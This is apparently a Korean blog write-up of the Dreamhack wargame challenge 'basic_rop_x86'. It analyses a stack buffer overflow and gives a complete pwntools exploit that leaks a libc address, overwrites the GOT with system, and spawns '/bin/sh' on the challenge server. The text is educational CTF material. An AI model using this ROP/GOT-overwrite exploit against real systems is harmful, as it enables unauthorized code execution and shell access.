War Game/Pwnable

[Dreamhack] basic_rop_x86

GunP4ng 2024. 9. 15. 23:26

basic_rop_x86 문제풀이


1. 취약점 확인

1. C언어

checksec 으로 취약점을 확인해보자

[*] '/home/gunp4ng/pwnable/Dreamhack/basic_rop_x86/basic_rop_x86'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

x86 아키텍처에 Partial RELRO, NX-bit 가 적용된 것을 알 수 있다.

Partial RELRO 가 적용되어 GOT Overwrite 가 가능하다.

 

C 코드를 확인해보자

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf 의 크기는 0x40 인 것을 알 수 있다.

 

이전에 작성한 basic_rop_x64 와 같은 코드이다.

 

2. 어셈블리

main 함수의 어셈블리를 살펴보자

Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     push   edi
   0x080485dd <+4>:     sub    esp,0x40
   0x080485e0 <+7>:     lea    edx,[ebp-0x44]
   0x080485e3 <+10>:    mov    eax,0x0
   0x080485e8 <+15>:    mov    ecx,0x10
   0x080485ed <+20>:    mov    edi,edx
   0x080485ef <+22>:    rep stos DWORD PTR es:[edi],eax
   0x080485f1 <+24>:    call   0x8048592 <initialize>
   0x080485f6 <+29>:    push   0x400
   0x080485fb <+34>:    lea    eax,[ebp-0x44]
   0x080485fe <+37>:    push   eax
   0x080485ff <+38>:    push   0x0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>
   0x08048606 <+45>:    add    esp,0xc
   0x08048609 <+48>:    push   0x40
   0x0804860b <+50>:    lea    eax,[ebp-0x44]
   0x0804860e <+53>:    push   eax
   0x0804860f <+54>:    push   0x1
   0x08048611 <+56>:    call   0x8048450 <write@plt>
   0x08048616 <+61>:    add    esp,0xc
   0x08048619 <+64>:    mov    eax,0x0
   0x0804861e <+69>:    mov    edi,DWORD PTR [ebp-0x4]
   0x08048621 <+72>:    leave
   0x08048622 <+73>:    ret
End of assembler dump.

buf 에 0x44 를 할당하는 것을 알 수 있다.

  • buf : 0x40
  • dummy : 0x4

buf 0x40 의 크기 아래에 0x4 만큼의 dummy 값이 있는 것을 알 수 있다.

 

 

2. 익스플로잇 구성

1. 익스플로잇 구성

  • write 함수로 read GOT 를 출력한다
    • 출력한 read GOT 를 이용하여 read GOT - read offset 을 하여 라이브러리 시작 주소를 구한다.
    • 라이브러리 시작 주소 + system offset 을 하여 system 함수의 주소를 구한다.
  • read 함수로 write GOT 영역에 system 함수의 주소를 덮어씌운다 (GOT Overwrite)
  • read 함수로 bss 영역에 "/bin/sh" 문자열을 넣는다.
  • write 함수의 인자로 bss 영역 ("/bin/sh")을 인자로 호출한다.

 

2. 스택 구조

먼저 스택 구조를 살펴보자

스택 구조

buf 의 크기는 0x40 이다.

buf 아래에 0x4 만큼의 dummy 값이 있다.

 

buf + dummy + SFP 크기인 0x48 만큼 입력하면 RET 전까지 덮어씌울 수 있다.

 

3. 가젯 주소 구하기

read, write 함수는 인자를 3개 필요로 한다.

x86 환경에서는 함수의 인자를 스택에 push 하여 전달하기 때문에 pop pop pop ret 가젯이 필요하다.

 

pop pop pop ret 가젯

pop pop pop ret 가젯의 주소는 0x8048689 이다.

 

 

3. 익스플로잇

1. payload

from pwn import *

# context.log_level = 'debug'
context(arch='i386', os='linux')

p = remote('host3.dreamhack.games', 21606)
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
 # p = process('./basic_rop_x86', env=env)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6', checksec=False)

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

bss = e.bss()

# gadget
pppr = 0x8048689

# payload
payload = b'A' * 0x48   # buf + SFP

# write(1, read GOT, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# read(0, write GOT, 4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

# read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

# write(bss)
payload += p32(write_plt)
payload += b'A' * 0x4
payload += p32(bss)

# pause()

p.send(payload)

# libc base
p.recvuntil(b'A' * 0x40)
read_addr = u32(p.recvn(4))
libc_base = read_addr - libc.symbols['read']
log.info(f'read : {hex(read_addr)}')
log.info(f'libc base : {hex(libc_base)}')

# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')

p.send(p32(system))
p.sendline(b"/bin/sh")

p.interactive()

위에서 얻은 정보들을 이용해 payload 를 구성했다.

 

플래그 획득

payload 를 실행하면 플래그를 획득할 수 있다.